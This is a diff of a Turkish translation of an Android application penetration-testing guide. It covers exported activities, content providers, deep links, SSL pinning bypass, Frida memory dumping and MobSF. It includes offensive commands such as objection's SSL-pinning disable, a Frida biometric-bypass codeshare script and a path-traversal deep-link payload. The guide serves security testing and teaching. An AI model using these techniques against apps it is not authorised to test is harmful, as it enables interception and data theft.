nedenle uygulamalar diğer uygulamaların günlüklerine erişemez.\ +Yine de **hassas bilgileri günlükleme** önerilir. {% endhint %} -**Kopyala/Yapıştır Arabellek Önbelleği** +**Kopyala/Yapıştır Arabelleği Önbelleği** -Android'in **pano tabanlı** çerçevesi, uygulamalarda kopyala-yapıştır işlevselliğini sağlar, ancak diğer uygulamaların panoya erişebilmesi, hassas verilerin ortaya çıkmasına neden olabilir. Hassas bölümler için, örneğin kredi kartı bilgileri için, veri sızıntısını önlemek için kopyala/yapıştır işlevlerini devre dışı bırakmak önemlidir. +Android'in **pano tabanlı** çerçevesi, uygulamalarda kopyala-yapıştır işlevselliğini etkinleştirirken, diğer uygulamaların panoya erişebilmesi riski oluşturur ve hassas verilerin açığa çıkmasına neden olabilir. Hassas bölümler için, örneğin kredi kartı bilgileri gibi, kopyala/yapıştır işlevlerini devre dışı bırakmak, veri sızıntılarını önlemek için hayati önem taşır. **Çökme Günlükleri** -Bir uygulama **çöktüğünde ve günlükler kaydedildiğinde**, bu günlükler özellikle uygulama tersine mühendislik edilemediğinde saldırganlara yardımcı olabilir. Bu riski azaltmak için çökme durumunda günlükleme yapmaktan kaçının ve günlükler ağ üzerinden iletilmek zorunda kalırsa, bunların güvenlik için SSL kanalı üzerinden gönderildiğinden emin olun. +Bir uygulama **çöktüğünde ve günlükler kaydedildiğinde**, bu günlükler özellikle uygulama tersine mühendislik edilemediğinde saldırganlara yardımcı olabilir. Bu riski azaltmak için çökme durumunda günlükleme yapmaktan kaçının ve günlükler ağ üzerinden iletilmek zorunda kalırsa, güvenlik için bunların SSL kanalı üzerinden gönderildiğinden emin olun. Pentester olarak, **bu günlüklere bir göz atmayı deneyin**. **Üçüncü Taraf Şirketlere Gönderilen Analiz Verileri** -Uygulamalar genellikle Google Adsense gibi hizmetleri entegre eder, bu da geliştiriciler tarafından yanlış uygulama nedeniyle hassas veri sızıntısına neden olabilir. Potansiyel veri sızıntılarını belirlemek için uygulamanın trafiğini **sözde** etmek ve üçüncü taraf hizmetlerine gönderilen hassas bilgileri kontrol etmek tavsiye edilir. +Uygulamalar genellikle Google Adsense gibi hizmetleri entegre eder, bu da geliştiriciler tarafından yanlış uygulama nedeniyle hassas veri sızıntılarına neden olabilir. Potansiyel veri sızıntılarını belirlemek için uygulamanın trafiğini **sözde** etmek ve üçüncü taraf hizmetlerine gönderilen hassas bilgileri kontrol etmek tavsiye edilir. ### SQLite Veritabanları -Çoğu uygulama, bilgileri kaydetmek için **dahili SQLite veritabanlarını** kullanacaktır. Pentest sırasında oluşturulan **veritabanlarına**, **tablo** ve **sütun** adlarına ve kaydedilen **tüm verilere** bir göz atın çünkü **hassas bilgiler** (bir zayıflık olabilir) bulabilirsiniz.\ +Çoğu uygulama, bilgileri kaydetmek için **dahili SQLite veritabanlarını** kullanır. Pentest sırasında oluşturulan **veritabanlarına**, **tablo** ve **sütun** adlarına ve kaydedilen **tüm verilere** bir **göz atın**, çünkü **hassas bilgiler** içerebilir (bu bir zayıflık olabilir).\ Veritabanları, `/data/data/the.package.name/databases` gibi `/data/data/com.mwr.example.sieve/databases` konumunda olmalıdır. -Eğer veritabanı gizli bilgileri kaydediyorsa ve **şifreli** ise ancak uygulama içinde **şifreyi bulabilirseniz** yine de bir **zayıflık** olacaktır. +Eğer veritabanı gizli bilgileri kaydediyorsa ve **şifreli** ise ancak uygulama içinde **şifreyi bulabilirseniz**, bu yine de bir **zayıflık** olacaktır. `.tables` kullanarak tabloları sıralayın ve `.schema ` yaparak tabloların sütunlarını sıralayın. -### Drozer (Saldırı Faaliyetleri, İçerik Sağlayıcıları ve Hizmetler) +### Drozer (Saldırı Faaliyetleri, İçerik Sağlayıcılar ve Hizmetler) -[Drozer Belgelerinden](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer**, bir Android uygulamasının rolünü üstlenmenizi ve diğer uygulamalarla etkileşimde bulunmanızı sağlar. Android'in İşlem Arası İletişim (IPC) mekanizmasını kullanabilir ve altta yatan işletim sistemiyle etkileşimde bulunabilir.\ -Drozer, ihraç edilen faaliyetleri, ihraç edilen hizmetleri ve İçerik Sağlayıcılarını **sömürmek** için kullanışlı bir araçtır, bu konuları aşağıdaki bölümlerde öğreneceksiniz. +[Drozer Belgelerinden](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer**, bir Android uygulamasının rolünü üstlenmenizi ve diğer uygulamalarla etkileşimde bulunmanızı sağlar. Android'in İşlem Arası İletişim (IPC) mekanizmasından yararlanabilir ve altta yatan işletim sistemiyle etkileşimde bulunabilir.\ +Drozer, dışa aktarılan faaliyetleri, dışa aktarılan hizmetleri ve İçerik Sağlayıcıları **sömürmek** için kullanışlı bir araçtır, bu konuları aşağıdaki bölümlerde öğreneceksiniz. -### İhraç Edilen Faaliyetleri Sömürme +### Dışa Aktarılan Faaliyetleri Sömürme [**Bir Android Faaliyetinin ne olduğunu hatırlamak istiyorsanız burayı okuyun.**](android-applications-basics.md#launcher-activity-and-other-activities)\ Ayrıca bir faaliyetin kodu **`onCreate`** yönteminde başlar. **Yetkilendirme atlatma** -Bir Faaliyet ihraç edildiğinde, dış uygulamadan ekranını çağırabilirsiniz. Bu nedenle, **hassas bilgiler** içeren bir faaliyet **ihraç edilmişse**, **kimlik doğrulama** mekanizmalarını **atlayarak** ona **erişebilirsiniz.** +Bir Faaliyet dışa aktarıldığında, harici bir uygulamadan ekranını çağırabilirsiniz. Bu nedenle, **hassas bilgiler** içeren bir faaliyet **dışa aktarıldığında**, **kimlik doğrulama** mekanizmalarını **atlayarak** ona **erişebilirsiniz.** -Drozer ile ihraç edilen faaliyetleri nasıl sömüreceğinizi öğrenmek için [**burayı okuyun.**](drozer-tutorial/#activities) +Drozer ile dışa aktarılan faaliyetleri nasıl sömüreceğinizi öğrenmek için [**burayı okuyun.**](drozer-tutorial/#activities) -Ayrıca adb'den ihraç edilen bir faaliyeti başlatabilirsiniz: +Ayrıca adb'den dışa aktarılan bir faaliyeti başlatabilirsiniz: -* PaketAdı com.example.demo -* İhraç Edilen FaaliyetAdı com.example.test.MainActivity +* Paket Adı com.example.demo +* Dışa Aktarılan Faaliyet Adı com.example.test.MainActivity ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` **NOT**: MobSF, bir aktivitede `android:launchMode` olarak _**singleTask/singleInstance**_ kullanımını kötü niyetli olarak algılayacaktır, ancak [bu](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) nedeniyle, bu eski sürümlerde (API sürümleri < 21) yalnızca tehlikeli olduğu görünmektedir. {% hint style="info" %} -Bir yetkilendirme atlaması her zaman bir zafiyet olmayabilir, atlamaların nasıl çalıştığına ve hangi bilgilerin açığa çıkarıldığına bağlı olacaktır. +Bir yetkilendirme atlatma her zaman bir zafiyet olmayabilir, atlatmanın nasıl çalıştığına ve hangi bilgilerin açığa çıktığına bağlı olacaktır. {% endhint %} **Hassas bilgi sızıntısı** @@ -367,20 +367,20 @@ Eğer tapjacking engellenmezse, dışa aktarılmış aktiviteyi kötüye kullana ### İçerik Sağlayıcıları Sömürme - Hassas bilgilere erişme ve manipüle etme -[**Bir İçerik Sağlayıcının ne olduğunu hatırlamak istiyorsanız burayı okuyun.**](android-applications-basics.md#content-provider)\ -İçerik sağlayıcıları temel olarak **veri paylaşımı** için kullanılır. Bir uygulamanın mevcut içerik sağlayıcıları varsa, bunlardan **hassas** verileri **çıkarabilirsiniz**. Ayrıca mümkün **SQL enjeksiyonları** ve **Yol Geçişleri** test etmek de ilginç olabilir çünkü bunlar savunmasız olabilir. +[**Bir İçerik Sağlayıcının ne olduğunu tazelemek istiyorsanız burayı okuyun.**](android-applications-basics.md#content-provider)\ +İçerik sağlayıcıları temelde **veri paylaşımı** için kullanılır. Bir uygulamanın mevcut içerik sağlayıcıları varsa, bunlardan **hassas** verileri **çıkarabilirsiniz**. Ayrıca mümkün **SQL enjeksiyonları** ve **Yol Geçişleri** test etmek de ilginç olabilir çünkü bunlar savunmasız olabilir. -[**Drozer ile İçerik Sağlayıcılarını nasıl sömüreceğinizi öğrenin.**](drozer-tutorial/#content-providers) +[**Drozer ile İçerik Sağlayıcılarını nasıl sömürüleceğini öğrenin.**](drozer-tutorial/#content-providers) ### **Hizmetleri Sömürme** -[**Bir Hizmetin ne olduğunu hatırlamak istiyorsanız burayı okuyun.**](android-applications-basics.md#services)\ -Bir hizmet, temelde veri alabilen, işleyebilen ve yanıt döndürebilen bir şeydir (veya döndürmeyebilir). Dolayısıyla, bir uygulama bazı hizmetleri dışa aktarıyorsa, ne yaptığını anlamak için **kodu kontrol etmeli** ve gizli bilgileri çıkarmak, kimlik doğrulama önlemlerini atlamak için dinamik olarak test etmelisiniz...\ +[**Bir Hizmetin ne olduğunu tazelemek istiyorsanız burayı okuyun.**](android-applications-basics.md#services)\ +Bir hizmet, temelde veri alabilen, işleyebilen ve yanıt döndürebilen bir şeydir (veya döndürmeyebilir). Dolayısıyla, bir uygulama bazı hizmetleri dışa aktarıyorsa, ne yaptığını anlamak için **kodu kontrol etmeli** ve gizli bilgileri çıkarmak, kimlik doğrulama önlemlerini atlatmak için dinamik olarak test etmelisiniz...\ [Hizmetleri Drozer ile nasıl sömüreceğinizi öğrenin.](drozer-tutorial/#services) ### **Yayın Alıcıları Sömürme** -[**Bir Yayın Alıcısının ne olduğunu hatırlamak istiyorsanız burayı okuyun.**](android-applications-basics.md#broadcast-receivers)\ +[**Bir Yayın Alıcısının ne olduğunu tazelemek istiyorsanız burayı okuyun.**](android-applications-basics.md#broadcast-receivers)\ Bir yayın alıcısı belirli bir türdeki mesajı bekleyecektir. Alıcı mesajı nasıl işlediğine bağlı olarak savunmasız olabilir.\ [Yayın Alıcılarını Drozer ile nasıl sömüreceğinizi öğrenin.](./#exploiting-broadcast-receivers) @@ -406,73 +406,74 @@ _Not etmek gerekir ki **paket adını atlayabilirsiniz** ve mobil cihaz otomatik ``` {% endcode %} -**Kodun çalıştırıldığı** +**Kodun çalıştırıldığı yer** Uygulamada **çalıştırılacak kodu** bulmak için, deeplink tarafından çağrılan aktiviteye gidin ve **`onNewIntent`** fonksiyonunu arayın. ![](<../../.gitbook/assets/image (436) (1) (1) (1).png>) -**Hassas bilgi** +**Hassas bilgiler** -Her defasında bir derin bağlantı bulduğunuzda, URL parametreleri aracılığıyla (şifreler gibi) **hassas veri almadığından emin olun**, çünkü başka bir uygulama derin bağlantıyı **taklit edebilir ve bu verileri çalabilir!** +Her zaman bir derin bağlantı bulduğunuzda, URL parametreleri aracılığıyla (şifreler gibi) hassas veri almadığından emin olun, çünkü başka bir uygulama derin bağlantıyı **taklit edebilir ve bu verileri çalabilir!** -**Yol içinde parametreler** +**Yol içindeki parametreler** -Herhangi bir derin bağlantının URL'nin yolunda bir parametre kullandığını da **mutlaka kontrol etmelisiniz** örneğin: `https://api.example.com/v1/users/{username}`, bu durumda şöyle bir şey yaparak yol geçişi yapabilirsiniz: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\ +Herhangi bir derin bağlantının URL'nin yolunda bir parametre kullandığını **mutlaka kontrol etmelisiniz** örneğin: `https://api.example.com/v1/users/{username}`, bu durumda şöyle bir şeye erişebilirsiniz: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\ Uygulama içinde doğru uç noktaları bulursanız, **Açık Yönlendirme** (yolun bir kısmı alan adı olarak kullanılıyorsa), **hesap ele geçirme** (CSRF belirteci olmadan kullanıcı detaylarını değiştirebilirseniz ve zafiyetli uç nokta doğru yöntemi kullanıyorsa) ve diğer zafiyetleri tetikleyebilirsiniz. Daha fazla [bilgi burada](http://dphoeniixx.com/2020/12/13-2/). **Daha fazla örnek** -Bir [ilginç ödül avı raporu](https://hackerone.com/reports/855618) hakkında bağlantılar (_/.well-known/assetlinks.json_). +Bağlantılarla ilgili bir [ilginç ödül avı raporu](https://hackerone.com/reports/855618) (_/.well-known/assetlinks.json_). -### Taşıma Katmanı İnceleme ve Doğrulama Hataları +### Taşıma Katmanı İncelemesi ve Doğrulama Hataları * Android uygulamaları tarafından **sertifikaların her zaman doğru şekilde incelenmediği** yaygındır. Bu uygulamaların genellikle uyarıları göz ardı edip öz imzalı sertifikaları kabul etmesi veya bazı durumlarda HTTP bağlantılarına geri dönmesi olağandır. -* **SSL/TLS el sıkışması sırasında müzakereler bazen zayıf olabilir**, güvensiz şifreleme süitleri kullanılabilir. Bu zafiyet, bağlantının ortadaki adam (MITM) saldırılarına açık hale gelmesine neden olur, saldırganların verileri şifresini çözerek ele geçirmesine izin verir. +* **SSL/TLS el sıkışması sırasında müzakereler bazen zayıf olabilir**, güvensiz şifreleme süitleri kullanılabilir. Bu zafiyet, bağlantının ortadaki adam (MITM) saldırılarına açık hale gelmesine neden olur, saldırganların verileri şifresini çözmesine izin verir. * Uygulamaların güvenli kanalları kullanarak kimlik doğrulaması yapmasına rağmen diğer işlemler için şifrelenmemiş kanallar üzerinden iletişim kurması durumunda **özel bilgilerin sızması** riski vardır. Bu yaklaşım, oturum çerezleri veya kullanıcı detayları gibi hassas verileri kötü niyetli varlıklar tarafından ele geçirilmesine karşı korumaz. #### Sertifika Doğrulama -**Sertifika doğrulamasına** odaklanacağız. Güvenliği artırmak için sunucunun sertifikasının bütünlüğü doğrulanmalıdır. Bu, güvensiz TLS yapılandırmaları ve hassas verilerin şifrelenmemiş kanallar üzerinden iletilmesi önemli riskler oluşturabilir. Sunucu sertifikalarını doğrulamak ve zafiyetleri ele almak için detaylı adımlar için [**bu kaynak**](https://manifestsecurity.com/android-application-security-part-10/) kapsamlı rehberlik sağlar. +**Sertifika doğrulamasına** odaklanacağız. Güvenliği artırmak için sunucunun sertifikasının bütünlüğü doğrulanmalıdır. Bu, güvensiz TLS yapılandırmaları ve hassas verilerin şifrelenmemiş kanallar üzerinden iletilmesi önemli riskler oluşturabilir. Sunucu sertifikalarını doğrulama adımları ve zafiyetleri ele alma konusunda detaylı bilgi için, [**bu kaynak**](https://manifestsecurity.com/android-application-security-part-10/) kapsamlı rehberlik sağlar. #### SSL Pinning -SSL Pinning, uygulamanın sunucunun sertifikasını uygulama içinde depolanan bilinen bir kopya ile doğruladığı bir güvenlik önlemidir. Bu yöntem, MITM saldırılarını önlemek için önemlidir. Hassas bilgilerle uğraşan uygulamalar için SSL Pinning uygulamak kesinlikle önerilir. +SSL Pinning, uygulamanın sunucunun sertifikasını uygulama içinde depolanan bilinen bir kopya ile doğrulamasıdır. Bu yöntem, MITM saldırılarını önlemek için önemlidir. Hassas bilgilerle uğraşan uygulamalar için SSL Pinning uygulamak kesinlikle önerilir. #### Trafik İnceleme -HTTP trafiğini incelemek için, **proxy aracının sertifikasını yüklemek** gerekir (örneğin, Burp). Bu sertifikayı yüklemeden, şifreli trafiğin proxy aracılığıyla görüntülenemeyebileceğini unutmayın. Özel bir CA sertifikasını yüklemek için kılavuz için [**buraya tıklayın**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). +HTTP trafiğini incelemek için, **proxy aracının sertifikasını yüklemek** gerekir (örneğin, Burp). Bu sertifikayı yüklemeden, şifreli trafiği proxy üzerinden göremeyebilirsiniz. Özel bir CA sertifikasını yüklemek için kılavuz için, [**buraya tıklayın**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). -**API Seviyesi 24 ve üzeri** hedefleyen uygulamalar, şifreli trafiği incelemek için ağ güvenlik yapılandırmasını değiştirmeyi gerektirir. Bu adım, şifreli trafiği incelemek için kritik öneme sahiptir. Ağ Güvenlik Yapılandırmasını değiştirme hakkında talimatlar için [**bu öğreticiye**](make-apk-accept-ca-certificate.md) başvurun. +**API Seviyesi 24 ve üzeri** hedefleyen uygulamalar, şifreli trafiği incelemek için ağ güvenlik yapılandırmasını proxy'nin CA sertifikasını kabul edecek şekilde değiştirmeyi gerektirir. Bu adım, şifreli trafiği incelemek için kritik öneme sahiptir. Ağ Güvenlik Yapılandırmasını değiştirme konusunda talimatlar için, [**bu öğreticiye başvurun**](make-apk-accept-ca-certificate.md). #### SSL Pinning'i Atlatma SSL Pinning uygulandığında, HTTPS trafiğini incelemek için bunu atlatmak gerekebilir. Bu amaçla çeşitli yöntemler mevcuttur: -* **apk-mitm** ile SSLPinning'i atlamak için **apk'yi otomatik olarak değiştirin**. Bu seçeneğin en büyük avantajı, SSL Pinning'i atlamak için köklü bir gereksinimin olmamasıdır, ancak uygulamayı silip yeni bir tane yüklemeniz gerekebilir ve bu her zaman işe yaramayabilir. +* **apk-mitm** ile SSLPinning'i atlamak için **apk'yi otomatik olarak değiştirin**. Bu seçeneğin en büyük avantajı, SSL Pinning'i atlamak için köklüye ihtiyaç duymamanızdır, ancak uygulamayı silip yeni bir tane yüklemeniz gerekebilir ve bu her zaman işe yaramayabilir. * Bu korumayı atlamak için **Frida**'yı kullanabilirsiniz (aşağıda tartışılmıştır). Burada Burp+Frida+Genymotion'u kullanma kılavuzuna erişebilirsiniz: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) -* **objection** kullanarak SSL Pinning'i otomatik olarak atlamayı deneyebilirsiniz: `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` -* **MobSF dinamik analiz** kullanarak SSL Pinning'i otomatik olarak atlamayı deneyebilirsiniz (aşağıda açıklanmıştır) -* Hala yakalayamadığınız bazı trafiğin olduğunu düşünüyorsanız, trafiği **iptables kullanarak burp'a yönlendirmeyi deneyebilirsiniz**. Bu blogu okuyun: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) +* **objection** kullanarak **otomatik olarak SSL Pinning'i atlamayı** deneyebilirsiniz: `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` +* **MobSF dinamik analiz** kullanarak **otomatik olarak SSL Pinning'i atlamayı** deneyebilirsiniz (aşağıda açıklanmıştır) +* Hala yakalayamadığınız bazı trafiğin olduğunu düşünüyorsanız, trafiği **iptables kullanarak burp'a yönlendirmeyi** deneyebilirsiniz. Bu blogu okuyun: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) #### Ortak Web Zafiyetlerini Arama -Uygulama içinde ortak web zafiyetlerini de aramak önemlidir. Bu zafiyetleri tanımlama ve bunları azaltma hakkında detaylı bilgi bu özetin kapsamı dışındadır ancak başka yerlerde kapsamlı bir şekilde ele alınmaktadır. +Uygulama içinde ortak web zafiyetlerini de aramak önemlidir. Bu zafiyetleri tanımlama ve bunları azaltma konusundaki detaylı bilgiler bu özetin kapsamının ötesindedir ancak başka yerlerde kapsamlı bir şekilde ele alınmaktadır. ### Frida [Frida](https://www.frida.re), geliştiriciler, ters mühendisler ve güvenlik araştırmacıları için dinamik enstrümantasyon aracıdır.\ **Çalışan uygulamalara erişebilir ve çalışma zamanında yöntemleri kancalayabilir, davranışı değiştirebilir, değerleri değiştirebilir, değerleri çıkarabilir, farklı kodları çalıştırabilirsiniz...**\ -Android uygulamalarını pentest etmek istiyorsanız Frida'yı nasıl kullanacağınızı bilmelisiniz. +Android uygulamalarını pentest etmek istiyorsanız, Frida'yı nasıl kullanacağınızı bilmelisiniz. * Frida'yı nasıl kullanacağınızı öğrenin: [**Frida öğretici**](frida-tutorial/) * Frida ile işlemler için "GUI": [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) * Ojection, Frida'nın otomatik kullanımını sağlamak için harikadır: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) -* Harika Frida betikleri burada bulunabilir: [**https://codeshare.frida.re/**](https://codeshare.frida.re) +* Bazı Harika Frida komut dosyalarını burada bulabilirsiniz: [**https://codeshare.frida.re/**](https://codeshare.frida.re) +* Anti-hata ayıklama / anti-frida mekanizmalarını atlatmaya çalışırken Frida'yı yükleyerek kod enjeksiyonu yapabilirsiniz [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (araç [linjector](https://github.com/erfur/linjector-rs)) ### **Belleği Dökme - Fridump** -Uygulamanın belleğinde şifreler veya mnemonikler gibi saklanmaması gereken hassas bilgilerin olup olmadığını kontrol edin. +Uygulamanın, şifreler veya mnemonikler gibi saklamaması gereken hassas bilgileri bellekte saklayıp saklamadığını kontrol edin. [**Fridump3**](https://github.com/rootbsd/fridump3) kullanarak uygulamanın belleğini dökleyebilirsiniz: ```bash @@ -483,7 +484,7 @@ python3 fridump3.py -u frida-ps -Uai python3 fridump3.py -u "" ``` -Bu, belleği ./dump klasörüne dökecek ve orada şuna benzer bir şeyle grep yapabilirsiniz: +Bu, belleği ./dump klasörüne dökecek ve orada aşağıdaki gibi bir şeyle grep yapabilirsiniz: {% code overflow="wrap" %} ```bash @@ -491,9 +492,9 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a ``` {% endcode %} -### **Keystore'da Hassas Veriler** +### **Keystore'daki Hassas Veriler** -Android'de Keystore, hassas verileri saklamak için en iyi yerdir, ancak yeterli izinlerle **erişmek hala mümkündür**. Uygulamalar burada hassas verileri açık metin olarak sakladığından, pentestler bunu kontrol etmelidir çünkü root kullanıcı veya cihaza fiziksel erişimi olan biri bu verileri çalabilir. +Android'de Keystore, hassas verileri saklamak için en iyi yerdir, ancak yeterli izinlerle **erişmek hala mümkündür**. Uygulamalar burada hassas verileri açık metin olarak sakladığından, pentestler bunu kontrol etmelidir çünkü kök kullanıcı veya cihaza fiziksel erişimi olan biri bu verileri çalabilir. Bir uygulama keystore'da tarih saklasa bile, veriler şifrelenmelidir. @@ -509,19 +510,21 @@ Aşağıdaki Frida betiği kullanılarak Android uygulamalarının **belirli has ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` +{% endcode %} + ### **Arka Plan Resimleri** -Uygulamayı arka plana aldığınızda, Android uygulamanın bir **anlık görüntüsünü** saklar, böylece tekrar ön plana alındığında uygulama öncesinde yüklendiği için daha hızlı yüklendiği izlenimi oluşturur. +Uygulamayı arka plana aldığınızda, Android uygulamanın bir **anlık görüntüsünü** saklar, böylece uygulama öne çıkarıldığında uygulamadan önce görüntüyü yüklemeye başlar, böylece uygulamanın daha hızlı yüklendiği izlenimi oluşturulur. -Ancak, bu anlık görüntü **duyarlı bilgileri** içeriyorsa, bu görüntüye erişimi olan biri bu bilgileri **çalabilir** (bu görüntüye erişmek için root erişimine ihtiyacınız vardır). +Ancak, bu anlık görüntü **duyarlı bilgileri** içeriyorsa, bu görüntüye erişimi olan biri bu bilgileri **çalabilir** (unutmayın ki bunun için kök erişime ihtiyacınız vardır). Anlık görüntüler genellikle şurada saklanır: **`/data/system_ce/0/snapshots`** -Android, FLAG\_SECURE düzenleme parametresini ayarlayarak **ekran görüntüsü alınmasını engelleyen bir yol** sağlar. Bu bayrağı kullanarak, pencere içeriği güvenli olarak işlenir, bu da ekran görüntülerinde görünmesini veya güvensiz ekranlarda görüntülenmesini engeller. +Android, FLAG\_SECURE düzen parametresini ayarlayarak ekran görüntüsü alınmasını **engellemenin bir yolunu sağlar**. Bu bayrağı kullanarak, pencere içeriği güvenli olarak işlenir, bu da ekran görüntülerinde görünmesini veya güvensiz ekranlarda görüntülenmesini engeller. ```bash getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ``` -### **Android Uygulama Analizörü** +### **Android Uygulama Analizcisi** Bu araç, dinamik analiz sırasında farklı araçları yönetmenize yardımcı olabilir: [https://github.com/NotSoSecure/android\_application\_analyzer](https://github.com/NotSoSecure/android\_application\_analyzer) @@ -534,7 +537,7 @@ Tehlike, saldırganların bu Intent'leri yanıltarak non-exported uygulama bile ### Temel Öğretiler * **Intent Enjeksiyonu**, web'in Açık Yönlendirme sorununa benzerdir. -* Saldırılar, güvensiz işlemleri yürütmek için yönlendirilebilecek `Intent` nesnelerinin ekstralar olarak iletilmesini içerir. +* Saldırılar, güvensiz işlemleri yürütmek için yönlendirilebilecek `Intent` nesnelerinin geçirilmesini içerir. * Non-exported bileşenleri ve içerik sağlayıcılarını saldırganlara açığa çıkarabilir. * `WebView`'ın URL'lerini `Intent`e dönüştürmesi istenmeyen eylemleri kolaylaştırabilir. @@ -543,10 +546,10 @@ Tehlike, saldırganların bu Intent'leri yanıltarak non-exported uygulama bile Bu tür zayıflıkları muhtemelen Web'den biliyorsunuzdur. Bir Android uygulamasında bu tür zayıflıklara karşı özellikle dikkatli olmalısınız: * **SQL Enjeksiyonu:** Dinamik sorgular veya İçerik Sağlayıcılarla uğraşırken parametreli sorgular kullandığınızdan emin olun. -* **JavaScript Enjeksiyonu (XSS):** JavaScript ve Eklenti desteğinin herhangi bir WebView için devre dışı bırakıldığından emin olun (varsayılan olarak devre dışı). [Daha fazla bilgi burada](webview-attacks.md#javascript-enabled). -* **Yerel Dosya Dahil Etme:** WebView'lerin dosya sistemine erişiminin devre dışı bırakılmış olması gerekir (varsayılan olarak etkin) - `(webview.getSettings().setAllowFileAccess(false);)`. [Daha fazla bilgi burada](webview-attacks.md#javascript-enabled). -* **Ebedi çerezler**: Android uygulaması oturumu sonlandırdığında çerez iptal edilmiyor veya hatta diske kaydedilebiliyor. -* [**Güvenli Bayrak** çerezlerde](../../pentesting-web/hacking-with-cookies/#cookies-flags) +* **JavaScript Enjeksiyonu (XSS):** JavaScript ve Eklenti desteğinin devre dışı bırakıldığından emin olun (varsayılan olarak devre dışı). [Daha fazla bilgi burada](webview-attacks.md#javascript-enabled). +* **Yerel Dosya Dahil Etme:** WebViews'in dosya sistemine erişiminin devre dışı bırakılmış olması gerekir (varsayılan olarak etkin) - `(webview.getSettings().setAllowFileAccess(false);)`. [Daha fazla bilgi burada](webview-attacks.md#javascript-enabled). +* **Kalıcı çerezler**: Android uygulaması oturumu sonlandırdığında çerez iptal edilmiyor veya hatta diske kaydedilebiliyor. +* Çerezlerde [**Güvenli Bayrak**](../../pentesting-web/hacking-with-cookies/#cookies-flags) *** @@ -573,31 +576,31 @@ Başlatılan en yeni ödül avcılarını ve önemli platform güncellemelerini ![](<../../.gitbook/assets/image (61).png>) -Uygulamanın güvenlik açıklarını değerlendirmek için güzel bir web tabanlı arayüz kullanarak. Ayrıca dinamik analiz yapabilirsiniz (ancak ortamı hazırlamanız gerekebilir). +Uygulamanın güvenlik açıklarını değerlendirmek için güzel bir web tabanlı ön uç kullanarak statik analiz yapabilirsiniz. Ayrıca dinamik analiz yapabilirsiniz (ancak ortamı hazırlamanız gerekebilir). ```bash docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest ``` -MobSF, **Android**(apk)**, IOS**(ipa) ve Windows**(apx) uygulamalarını analiz edebilir (_Windows uygulamaları bir Windows ana bilgisayarında yüklü olan MobSF'den analiz edilmelidir_).\ -Ayrıca, **Android** veya **IOS** uygulamasının kaynak koduyla ZIP dosyası oluşturursanız (uygulamanın kök klasörüne gidin, her şeyi seçin ve bir ZIP dosyası oluşturun), bu da analiz edilebilir. +MobSF, **Android**(apk)**, IOS**(ipa) **ve Windows**(apx) uygulamalarını analiz edebilir (_Windows uygulamaları bir Windows ana bilgisayarında kurulu olan MobSF'den analiz edilmelidir_).\ +Ayrıca, bir **ZIP** dosyası oluşturursanız ve **Android** veya **IOS** uygulamasının kaynak kodunu içeren (uygulamanın kök klasörüne gidin, her şeyi seçin ve bir ZIP dosyası oluşturun), bu da analiz edilebilir. -MobSF ayrıca analizleri **karşılaştırma/farklılık** ve **VirusTotal** entegrasyonu yapmanıza olanak tanır (API anahtarınızı _MobSF/settings.py_ dosyasında ayarlamanız ve etkinleştirmeniz gerekecektir: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). Ayrıca, `VT_UPLOAD`'i `False` olarak ayarlarsanız, **hash** dosya yerine **yüklenecektir**. +MobSF ayrıca **diff/Karşılaştırma** analizi yapmanıza ve **VirusTotal** entegrasyonu yapmanıza izin verir (API anahtarınızı _MobSF/settings.py_ dosyasında ayarlamanız ve etkinleştirmeniz gerekecektir: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). Ayrıca, `VT_UPLOAD`'ı `False` olarak ayarlarsanız, **hash** dosya yerine **yüklenecektir**. -### MobSF ile Desteklenen Dinamik Analiz +### MobSF ile Destekli Dinamik Analiz **MobSF**, **Android** için dinamik analizde de çok faydalı olabilir, ancak bu durumda ana bilgisayarınıza MobSF ve **genymotion** kurmanız gerekecektir (bir sanal makine veya Docker çalışmayacaktır). _Not: **Önce genymotion'da bir sanal makine başlatmanız** ve **ardından MobSF'yi başlatmanız gerekmektedir.**_\ **MobSF dinamik analizörü**, şunları yapabilir: -* **Uygulama verilerini dökme** (URL'ler, günlükler, panoya kopyalananlar, sizin tarafından yapılan ekran görüntüleri, "**Exported Activity Tester**" tarafından yapılan ekran görüntüleri, e-postalar, SQLite veritabanları, XML dosyaları ve diğer oluşturulan dosyalar). Tüm bunlar otomatik olarak yapılır, ekran görüntüleri hariç, ekran görüntüsü almak istediğinizde basmanız veya tüm dışa aktarılan etkinliklerin ekran görüntülerini almak için "**Exported Activity Tester**"ı 